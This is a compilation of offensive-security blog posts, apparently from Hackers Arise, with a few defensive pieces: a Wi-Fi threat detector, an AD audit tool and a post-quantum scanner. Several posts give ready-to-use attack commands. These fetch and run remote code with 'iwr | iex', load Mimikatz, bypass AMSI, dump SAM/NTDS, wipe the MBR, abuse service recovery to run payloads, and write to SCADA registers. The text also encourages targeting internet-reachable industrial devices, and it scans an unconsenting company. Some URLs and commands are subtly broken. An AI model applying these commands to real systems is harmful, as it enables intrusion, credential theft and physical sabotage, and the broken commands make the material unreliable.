Many cars use Bluetooth for diagnostics, driver assistance and connectivity features. Consumer devices add even more noise to the environment. Smartwatches, pet trackers and fitness equipment all give off signals. Together, they create a dense network of signals that can be analyzed.

Bluehood works only in passive mode. It doesn’t try to connect to devices. It identifies them based on manufacturer data and BLE service UUIDs, then tracks when they appear and disappear. The tool also includes a web dashboard. It generates hourly and daily heatmaps, tracks dwell time and has filters. New devices often use randomized MAC addresses for privacy and Bluehood can detect and filter these.

Installation

You can install  the tool quickly using Docker.

kali > git clone https://github.com/dannymcc/bluehood.git
kali > cd bluehood
kali > docker compose up -d

Alternatively, you can install it using package managers and Python tools.

kali > sudo apt install bluez python3-pip
kali > pip install -e .
kali > sudo bluehood

After the installation you can start the scanner.

# Start with web dashboard (default port 8080)
kali > bluehood

# Specify a different port
kali > bluehood --port 9000

# Use a specific Bluetooth adapter
kali > bluehood --adapter hci1

# List available adapters
kali > bluehood --list-adapters

# Disable web dashboard (scanning only)
kali > bluehood --no-web

Keep in mind that if you installed the app with Docker Compose, it should be accessible at http://localhost:8080.

Collected data is stored in SQLite, and the tool can optionally send notifications through ntfy.sh when devices arrive or leave a location.

Summary

Bluetooth security is often underestimated because the technology feels invisible and low risk. That’s not the case though. There are active and passive techniques that can be used for tracking. Big cities often have listeners scattered around public places and stations, working like Bluehood. Active techniques like WhisperPair can lead to full device compromise with tracking and audio surveillance.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post Bluetooth Hacking and Security: The WhisperPair Exploit and Bluehood Surveillance first appeared on Hackers Arise.

Welcome back, pentesters!

During a pentest, you often end up repeating the same things. You usually start with the same set of checks. You want to know if SMB shares are exposed, whether you can reach LDAP on the DC and find out how strong the password policies are. You also want to find misconfigured privileged accounts, roastable accounts and go through ADCS for potential escalation paths. These are the checks that always come up in Active Directory pentests.

Because of that, a lot of pentesters end up writing their own scripts and use tools that reduce the repetitive work. Today we’ll look at two tools that help here. It’s ADScan and ADPulse. ADScan is built for active enumeration and attack, while ADPulse is for read only auditing and reporting.

ADScan

We’ll start with ADScan. It automates Active Directory pentesting and does enumeration across DNS, LDAP, SMB and Kerberos, collecting data that can be fed into BloodHound for analysis. Later you’ll see you don’t even have to use BloodHound to process that data, since ADScan uses Python libraries to parse the JSON files and give you the output itself. You can act on findings right away, with Kerberoasting, AS-REP roasting, DCSync or just password spraying.

Sometimes you might start with no credentials at all or you might be handed a low-privileged account. ADScan works well in both cases.

Setting Up

The installation process requires some patience. Before starting, you need to have Docker installed on your Kali.

kali > sudo apt install docker.io
kali > sudo apt install docker-compose
kali > sudo service docker start
kali > sudo systemctl enable docker

Once Docker is ready, you can install ADScan.

kali > pipx install adscan
kali > adscan install

A stable internet connection is important here.

After installation completes, you will receive credentials for BloodHound. At this point, everything is ready and you can start the tool.

kali > adscan start

Inside the interface, you can see a help menu that keeps commands in logical sections. 

Each section has its own subcommands.

Exploitation

As mentioned earlier, you can work with or without a domain user account. We’ll give it the credentials anyway.

start_auth

After running this command, give it the credentials and some details about the domain that you know. 

From here, ADScan will run a few automated checks. It pulls in BloodHound data, looks for Kerberoastable and AS-REP roastable accounts and tries to find potential escalation paths in Active Directory Certificate Services.

In our case, the tool found that our lowpriv user has GenericAll permissions over sensitive groups. This comes from SDProp manipulation, where permissions are assigned in ways that aren’t easy to find using standard administrative tools (RSAT).

When enumeration’s done, ADScan gives you two different attack path engines. The first works with BloodHound, organizing findings into attack paths. This includes password spraying, Kerberos attacks, NTLM hash capture and other steps that gradually build toward higher levels of access.

The second engine uses a local Python based search that finds permission abuse through DACL misconfigurations. In our example, it showed that the user can directly modify membership in Domain Admins.

As the process continues, ADScan may also check for known vulnerabilities affecting domain controllers. It’s not unusual to find older systems still in use, which can be vulnerable to Zerologon or NoPac.

ADScan does not replace understanding, but it significantly improves efficiency and consistency.

ADPulse

ADPulse takes a different angle. It’s built as a read only auditing tool that evaluates the overall security posture of an Active Directory environment. ADPulse connects to a domain controller over LDAP or LDAPS and runs a defined set of security checks. These checks look for common misconfigurations, weak policies, and potential attack paths. The results come out in several formats (CLI, JSON, and HTML).

Setting Up

Compared to ADScan, setting up ADPulse is straightforward.

kali > git clone https://github.com/yourorg/adpulse.git
kali > cd adpulse
kali > python -m venv venv
kali > source venv/bin/activate
kali > pip install -r requirements.txt

Once the environment is ready, you can start it.

kali > python ADPulse.py –domain sekvoya.local –user lowpriv –password 'P@ssw0rd123!'

As it runs, ADPulse shows summaries right in the terminal, so you get a sense of what’s going on in the domain as it works. When the scan finishes, it generates both JSON and HTML reports. The HTML version looks good and lays out findings in a hierarchical structure with recommendations attached.

You can share these reports with sysadmins and defenders to help them understand what needs fixing and why it matters.

Summary

Active Directory pentesting starts with discovery and often moves toward exploitation, but it doesn’t always end with full domain compromise. Success isn’t measured by whether you get Domain Admin privileges, it’s measured by how well you identify and communicate the risks that could actually impact the organization. Sometimes the most critical findings are exposed data, weak configurations and small mistakes that could later get chained into bigger attacks.

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Offensive Security: Speeding up Active Directory Pentests with ADScan and ADPulse first appeared on Hackers Arise.

Welcome back, cyberwarriors!

In this part of the series, we’re looking at how PowerShell can cause serious damage when nothing is restricting it. We’ll show how it can slow systems down and knock them off completely. You’ll see how hardware interfaces can get disabled, license keys wiped and a blue screen forced with machines left unbootable.

All these techniques are destructive, but our goal here is to show you that you shouldn’t just monitor command execution in PowerShell, you should also experiment with Language Modes to limit the attack surface if a workstation gets compromised. If these scripts are misused in the wrong context, the results can be irreversible.

We’ll begin with the basics and then move toward the dangerous things. 

Overloading RAM

The loadram.ps1 script works by aggressively consuming system memory. It allocates large arrays until nearly all available RAM is exhausted, leaving only a small buffer so the OS does not immediately collapse. The machine becomes unusable and applications stop responding.

This type of attack can be used as a DoS tactic to slow down a server, or it can act as a distraction, while other activity takes place.

PS > .\loadram.ps1

Overloading CPU

The loadcpu.ps1 script applies the same principle to processor cores, pinning usage at 100% until the script is terminated. Just as with RAM exhaustion, this script can serve as a cover while hackers are doing something else.

PS > .\loadcpu.ps1

Windows License Killer

The license.ps1 script clears Windows product keys by wiping out OEM, retail and volume license entries from the registry. The system becomes stripped of activation data. After restarting the Software Protection Service, Windows will be unlicensed and may refuse to validate against Microsoft servers.

PS > .\license.ps1

Then you can check the product key:

PS > (Get-WmiObject -query 'select  from SoftwareLicensingService').OA3xOriginalProductKey

The result should be empty. 

USB and Network Killer

You can also kill network adapters and USB controllers using killer.ps1 script. Once you run it, the mouse and keyboard will stop working. There will be no way to transfer files, connect to the network or even plug in a recovery device without significant intervention.

PS > .\killer.ps1

Mayhem by PowerSploit

PowerSploit includes a module called Mayhem, which has two destructive PowerShell functions. These are Set-CriticalProcess and Set-MasterBootRecord. Both directly attack the operating system itself.

Set-CriticalProcess

Windows protects smss.exe and csrss.exe by marking them as critical. If they are terminated, the system triggers a Blue Screen of Death. Set-CriticalProcess can tag any process with this critical status. Killing it immediately forces a system crash.

To use it, first copy the Mayhem module from the repository to:

C:\Program Files\WindowsPowerShell\Modules\

Then you can run Set-CriticalProcess:

PS > Set-CriticalProcess

Confirm with Y and expect the machine to blue screen in moments.

Set-MasterBootRecord

This is the most destructive of all. Unlike Set-CriticalProcess, this attack corrupts the Master Boot Record (MBR), which is the first sector of the hard drive. The MBR has the bootloader and partition table and without it Windows cannot load.

When it’s overwritten, the system may only display your custom message and will refuse to boot into the OS. Some malware does the same. The OS will work only if you fix the MBR, but chances are you will have to reinstall the OS. 

In our article on Digital Forensics we were repairing a corrupted drive where the MBR had been overwritten.

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!'

You can also force the system to reboot right after:

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!' -Force -RebootImmediately

It will no longer boot into Windows.

Summary

We showed how far PowerShell can be pushed when used as a weapon. That alone should be enough to convince you to restrict its use and work with Language Modes to help protect your system. By default, workstations and servers are pretty permissive, which makes them comfortable to use. The same permissiveness is just as accommodating for a hacker who has breached a system through phishing. Restricted Language Mode is a must on workstations where users don’t need PowerShell in the first place.

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post PowerShell for Hackers, Part 5: How to Crash and Burn Windows first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.

RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.

How It Works

Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.

Here is how it works:

PS > .\RecoverIt.exe <ServiceName> <ProgramPath> <Arguments>

Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.

Abusing Service Recovery Function

For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.

PS > sc.exe query UevAgentService
PS > sc.exe failure UevAgentService

As you can see, the service does exist and there’s no recovery plan set for it. On our machine it was stopped.

Now let’s create a recovery plan for it. 

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= “C:\Windws\System32\cmd.exe /c whoami > C:\Windows\Temp\uev_test.txt”

PS > sc.exe failureflag UevAgentService 1
PS > sc.exe qfailure UevAgentService

Once the service crashes it will print the output of whoami into uev_temp.txt

UevAgentService can be started on boot or on demand:

# On demand - you will need to start it manually 
PS > sc.exe config UevAgentService start= demand

# On boot
PS > sc.exe config UevAgentService start= auto

Then we start it:

PS > sc.exe start UevAgentService

Now we can validate it by checking the state and the result:

PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txt

As you can see, the service failed to start and Windows executed the recovery plan.

The example above is benign, but you can also try it in different ways. Here are a few examples:

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Windows\system32\payload.exe"

# or with arguments
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Tools\payload.exe -arg1 -arg2"

We set it up to execute a Metasploit stager and got our connection back.

Summary

Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.

Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.

The post Defense Evasion: RecoverIt – Using Windows Service Failure Recovery to Evade Detection first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Wireless security monitoring in the 2.4 GHz spectrum often depends on active probing, which can not only make the monitoring infrastructure vulnerable to attackers but also clutter the radio frequency environment. On the other hand, taking a passive approach by listening without transmitting allows security teams to detect malicious wireless activity more discreetly and reliably.

To put this idea into practice, the project Travel WiFi Canary was developed. This system serves as an early-warning mechanism using ESP32 microcontrollers. By operating the Wi-Fi radio in promiscuous mode, the device passively captures raw IEEE 802.11 management frames and traffic patterns. This helps identify potential threats such as deauthentication attacks, beacon spam, rogue access points often referred to as Evil Twins, and unauthorized probe requests. Eventually, it provides comprehensive insights into the wireless environment, enabling you to act proactively rather than reactively.

In this article, we will guide you through configuring, flashing, and running Travel WiFi Canary on the LilyGo T3 V1.6.1 development platform. Let’s get rolling!

What is Travel WiFi Canary?

The Travel WiFi Canary is a project that turns a low-cost ESP32 microcontroller into a passive 2.4 GHz threat-detection device. It operates continuously by alternating between active network enumeration and passive promiscuous packet capturing across specified channels.

At its core, the device’s Wi-Fi chip listens directly to raw radio signals passing through the air rather than connecting to a specific network.

When a wireless signal arrives, a fast automated responder checks the basic structure of the incoming data instantly. It identifies network management signals, such as connection requests, disconnection commands, or nearby network announcements, and separates them from standard web traffic.

To handle intense bursts of wireless activity without getting overwhelmed or missing crucial information, the chip places these flagged security signals into a temporary holding queue. This allows the main system to process and analyze the data safely in the background while keeping the hardware radio free to capture new incoming signals without interruption.

The central intelligence of the project relies on a dynamic confidence-scoring engine rather than rigid binary alerts. As the system processes the ring queues and periodic active scans, it evaluates detected anomalies against a local memory table built during the startup baseline phase.

Active scans check nearby Access Points for structural security violations. If an Access Point using an encrypted baseline protocol like WPA2 or WPA3 is detected operating without encryption, the system identifies an open clone attack. Security downgrades, unexpected vendor prefix mismatches on familiar SSIDs, or sudden disappearances of legitimate Access Points during an active open broadcast instantly contribute points to the global confidence score.

Simultaneously, the passive sniffer thread drains the lock-free queues to detect airborne attacks. Deauthentication frame floods are monitored over rolling time windows, assigning score penalties if threshold limits are breached by single sources or broadcast addresses.

The sniffer also inspects the payload fields inside beacon frames to detect Pwnagotchi signatures, parsing JSON structures hidden in vendor tags to determine if the device is operating in an active attack state.

All calculated points feed into a unified state machine. Aggregate scores between zero and two keep the device in a normal state, scores between three and five push it into a caution state, and scores of six or higher escalate the device into an active alert state.

To prevent temporary radio noise or brief packet anomalies from causing permanent alarm states, a background timer executes a score decay routine every minute. This routine gradually reduces the aggregate threat score over time, allowing the system to automatically transition back to a normal state once threat vectors clear the area. Hardware outputs, such as status LEDs or connected display controllers, continuously mirror the internal state variable to provide real-time visual monitoring.

What is LilyGo T3 V1.6.1?

The Travel WiFi Canary was initially made for the M5Stack Atom Lite development board. However, in this demonstration, I will test it on the LilyGo T3 V1.6.1.

The LilyGo T3 V1.6.1, also called the TTGO T3 LoRa32 V1.6.1, is an open-source development board designed for Internet of Things (IoT) projects and long-range RF communication. It has an ESP32 chip that allows for packet sniffing and Wi-Fi scanning. It gives us all the necessary functionality for wireless threat detection required by the Travel WiFi Canary project.

Getting Started with Travel WiFi Canary

The best way to flash the Travel WiFi Canary is by using Visual Studio Code along with the PlatformIO IDE extension. The installation process is fairly simple, so let’s move on to the next step, which is cloning the repository. I will use the modified version designed for the LilyGo T3 device. Here’s the command to do that:

kali> git clone https://github.com/AirClick-Code/esp32-wifi-canary.git

Next, connect your LilyGo T3 V1.6.1 to your computer using a data-capable Micro-USB cable. In Visual Studio Code, click on the PlatformIO status bar at the bottom and select env:esp32dev. Then, you can either click the checkmark icon in the status bar or press Ctrl+Alt+B to compile the firmware.

Once that is complete, click the right arrow icon in the status bar to start the upload process. PlatformIO will automatically detect the serial port, trigger the ESP32 to enter bootloader mode via auto-reset circuitry using the DTR and RTS lines, erase the necessary flash sectors, and upload the binaries seamlessly.

After the upload is complete, you can monitor the device with the built-in command:

pio device monitor -b 115200

At this point, the state machine and scanning engine are fully operational. During its initial scan, it detected seven nearby access points, recording their SSIDs, BSSIDs, signal strengths, channels, and encryption methods in memory.

Now, let’s simulate an open clone of a known encrypted network. The README file provides the following instructions:

I created a Wi-Fi access point from my phone with the same name as the network to which my system is connected, but without a password. Let’s observe how the WiFi Canary responds.

The script successfully identified the clone and granted 4 points to the score, changing the state to caution. The rogue open clone remained active in the following 20-second scan with a strong RSSI, adding another 4 points, which brought the total score to 8 and changed the state to alert. At the 310-second mark, the decay timer activated, decreasing the score from 8 to 7. However, since the score remained above the SCORE_ALERT threshold of 6 or higher, the system continued to maintain its alert state until the threat was resolved and the score naturally decayed back to zero.

Limitations

Despite the benefits of confidence scoring in reducing unexpected alerts, the possibility of false positives still exists. This is particularly true in enterprise networks, multi-node mesh setups, and crowded public venues, which can display behaviors that resemble attack patterns. On the flip side, false negatives may arise if a skilled attacker impersonates a legitimate BSSID while carefully adjusting their transmission power to fit in with normal signal strength variations, thus evading detection.

The limitations of the physical hardware create additional coverage boundaries. Passive detection of deauthentication relies heavily on the distance from the receiving device, meaning that low-power or far-off transmitters may be beyond the reach of the antenna. Furthermore, monitoring is confined solely to the 2.4 GHz spectrum, leaving the 5 GHz and 6 GHz bands completely unmonitored.

Lastly, the design of the radio architecture leads to a temporary gap in scanning whenever the chip switches between promiscuous packet sniffing and active environment scanning, resulting in a three-second blind spot where airborne deauthentication bursts can go unnoticed.

Summary

For many travelers and remote workers, understanding whether the Wi-Fi around them is secure is crucial. Private messages and sensitive information can be easily compromised when malicious actors set up fake hotspots or disrupt local connections. A device like the Travel WiFi Canary can continuously monitor the airwaves and alert you the moment a wireless attack is detected.

This device uses active Wi-Fi scanning and passive signal listening to find threats in real time. It constantly checks nearby networks against a trusted standard to spot fake open hotspots, duplicate routers, or security issues. At the same time, it listens for harmful activities like deauthentication attacks or rogue scanning tools. When it detects a threat, it raises a danger level with an internal scoring system and triggers a clear visual alarm. This alerts you immediately, giving you a warning before your devices may face any risk.

If you’re interested in improving your knowledge of wireless security, take a look at our Wi-Fi Hacking training. This course will guide you on how to assess the security of wireless networks and equip you with modern strategies to protect them effectively.

The post Building a Pocket Wi-Fi Threat Detector first appeared on Hackers Arise.

Welcome back, pentesters!

For quite a while we’ve been covering different ways PowerShell can be used by hackers. You’ve learned about persistence, evasion, survival and the mayhem you can cause with PowerShell.

Today we’ll show you a basic workflow for interacting with a Windows system once you’ve gained some access. You’ll see privilege escalation, AMSI bypass and dumping credentials from a host. PowerShell can be used to exploit systems, even though it was never built for that purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that usually get done manually can be automated with the scripts. Let’s start by learning about AMSI.

AMSI Bypass

AMSI is the Antimalware Scan Interface. It’s a Windows feature that sits between script engines like PowerShell or Office macros and whatever AV/EDR product is installed on the machine. When you execute something, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script attacks and malware. Hackers are constantly looking for ways to keep that content from ever reaching AMSI  or to alter it so it won’t match detection rules.

You’ll see plenty of articles and tools claiming to bypass AMSI, but soon after they get released, Microsoft patches the vulnerability. That doesn’t mean these bypasses don’t exist. They certainly do and hackers use them, so it’s worth being familiar with this attack. Let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on our target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we wouldn’t need any AMSI bypass.

Patching AMSI

We need to patch AMSI using our script. Let’s download it:

PS > wget   https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1 -O shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a simple one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, Defender doesn’t have access to your PowerShell sessions and anything can be executed in it. 

It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Since you can run whatever you want now, let’s use Mimikatz to grab credentials. We’ll run it in memory without ever letting it touch disk. The command below can be paired with the AMSI script to keep it off the disk entirely.

Note that we are using Invoke-Mimikatz.ps1 by g4uss47 and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we don’t recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and see what’s there in the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of a brand manager. If we compromised a more valuable system in the domain, like a server or a database, we could expect domain admin credentials. You’ll see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Sometimes systems are misconfigured and regular users end up with admin privileges on them, so you won’t need to bother much here. That can let you skip privilege escalation entirely and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors for privilege escalation, but among the most common are unquoted service paths and insecure file permissions. Insecure file permissions can be abused easily by just swapping in a malicious file with the same name as the legitimate one, but unquoted service paths take more work for a beginner. That’s why we’ll cover this attack today with the help of PowerUp. Before we get into it, it’s worth mentioning that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services, where the full path to the service executable has spaces in it but isn’t wrapped in quotation marks. Since Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can get interpreted ambiguously. The system might search for an executable at C:\Program.exe or C:\Program Files\My.exe before it ever reaches the intended service.exe. A hacker can drop their own executable at one of those earlier locations and the system will run that instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService  

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

With enough privileges, we can dump NTDS and SAM without having to deal with security products at all, just using native Windows functions. These attacks usually take multiple commands, since dumping only NTDS or only a SAM hive doesn’t get you anywhere on its own. That’s why we added a new script to our repository. It automatically identifies what kind of host you’re running it on and dumps the files you need. NTDS only exists on Domain Controllers and holds the credentials of every Active Directory user, so you won’t find this file on regular machines. Regular machines get exploited instead by dumping their SAM and SYSTEM hives. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then we execute the script to dump SAM and SYSTEM hives:

PS > wget https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper -O ntds.ps1

PS > .\ntds.ps1

# or in memory only
PS > iwr https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper | iex

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

kali > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you’ve already compromised a domain admin or managed to escalate your privileges on the Domain Controller, you might want to grab the credentials of every user in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. You can load scripts into Evil-WinRM straight from your machine so they execute on the target without ever touching disk. It can also patch AMSI, but be really careful with that.

Connect to the DC:

kali > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command to save them. Then run this command:

kali > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

PowerShell can also be used for privilege escalation and complete domain compromise. We showed you a few steps where each builds on the previous one. Hackers can chain these small misconfigurations to take over an organization. 

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.

There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.

SCADAver

SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.

This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.

Setting Up

We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.

ubuntu > curl https://github.com/Whispergate/SCADAVER/releases/download/v1.5.1/scadaver-linux-x86_64

ubuntu > mv scadaver-linux-x86_64 scadaver
ubuntu > mv scadaver /usr/bin

Working with SCADAver

We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.

First let’s list the help menu and see what the tool has:

ubuntu > scadaver -h 

As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.

Siemens S7 – Basics 

Let’s do a basic scan of a Siemens system and see what the tool comes back with.

# a basic scan 
ubuntu > scadaver -i IP scan

# a stealthy scan
ubuntu > scadaver -z -i IP scan

It found port 102 open, and it was Siemens indeed.

We can also do a protocol specific scan or point it at a custom port if necessary:

ubuntu > scadaver -z -i IP --protocol siemens scan

# or with a custom port 
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan 

Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.

ubuntu > scadaver run portscan -i IP

Having covered the basics, we can move on to more interesting stuff and pull some information off this system.

Siemens S7 – Extracting Values

SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).

ubuntu > scadaver -i IP get io

Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.

ubuntu > scadaver -i IP get db 1 0 64

Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.

Modbus – Changing Values

We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:

ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1

Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.

We can pull this off too:

ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20

With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.

As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.

ubuntu > scadaver -i IP run flash-led

These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.

ubuntu > scadaver -i IP run default-creds

More exploits and actions that run has can be seen in the help menu:

ubuntu > scadaver run -h 

Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:

ubuntu > scadaver db refs siemens

Browser UI & Terminal UI

In case you don’t like working with the CLI, you can try the other options.

For the Terminal UI run this:

ubuntu > scadaver

And the Browser UI can be set up with this command: 

ubuntu > scadaver web

It will be hosted on http://127.0.0.1:8888

Summary

The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.

We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.

If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.

The post SCADA/ICS/OT Hacking and Security: Hacking with SCADAver first appeared on Hackers Arise.

Welcome back, cyberwarriors! 

Almost a year ago, OTW spoke about quantum computers and the risk of our encryption getting broken within three years. In March, Google shared its concern on the same issue, moving up its own post-quantum migration deadline to 2029. Some companies are migrating to mitigate that risk, but not many are taking it seriously. Eventually, a huge number of companies are going to get left behind with weak and breakable encryption. Hackers will only benefit from that negligence.

To help you minimize the risk and get an actionable plan with recommendations tailored to your company, we want to show you how AC-Scanner works.

AC-Scanner

AC-Scanner is basically a script for post-quantum cryptography exposure assessment. It maps your full cryptographic attack surface across TLS endpoints and SSH services, assesses every asset against NIST post-quantum standards and generates a structured Cryptographic Bill of Materials (CBOM).

Before we continue with the scan, you might want to watch a video by OTW and David Bombal on the risk of quantum computing being able to decrypt things at mass scale and expose session keys.

Setting Up

Docker is the easiest way to get started. We’ll start with the CLI version first, then show you how to get the web version up and running. They both work the same way, so you can choose any.

First install Docker on your system:

ubuntu > sudo apt update
ubuntu > sudo apt install docker.io

Then switch to root and pull it:

root > docker pull qubitac/acscanner:latest

Now it’s ready, so let’s see the help menu. 

root > docker run --rm -it qubitac/acscanner:latest bash -c 'rm -f /.dockerenv && cd /app/scripts && ./scan.sh -h'

We’re only interested in the presets here. As you can see, you can test basically any of your assets.

Scanning Assets – CLI

Let’s choose some random Russian company for this scan. We don’t intend them to benefit from the results, we will just use it for demonstration to show how prevalent the issue is.

For our scan we used –all to scan everything: 

root > mkdir -p ~/ac-scans/example.com && docker run --rm -it -v ~/ac-scans/example.com:/app/scripts/example.com qubitac/acscanner:latest bash -c 'rm -f /.dockerenv && cd /app/scripts && ./scan.sh --noinstall example.com --all'

If you’re testing a big company, it will take time. 

Results will be stored in ~/ac-scans

Here we only need crypto-bom.json that’s hiding in cbom.

Results

Upload crypto-bom.json to the dashboard by clicking Load CBOM. You will see the overview. 

You can already see the infrastructure is not PQC ready and has several critical issues. 

The next step is HTTPS. Although 9 of their endpoints are using HTTPS, it’s vulnerable and the risks are high.

The scanner tried to fingerprint the SSH endpoints too, but they weren’t open.

Let’s look at the issues that the company has. It will show all the affected hosts with severity assigned to each. 

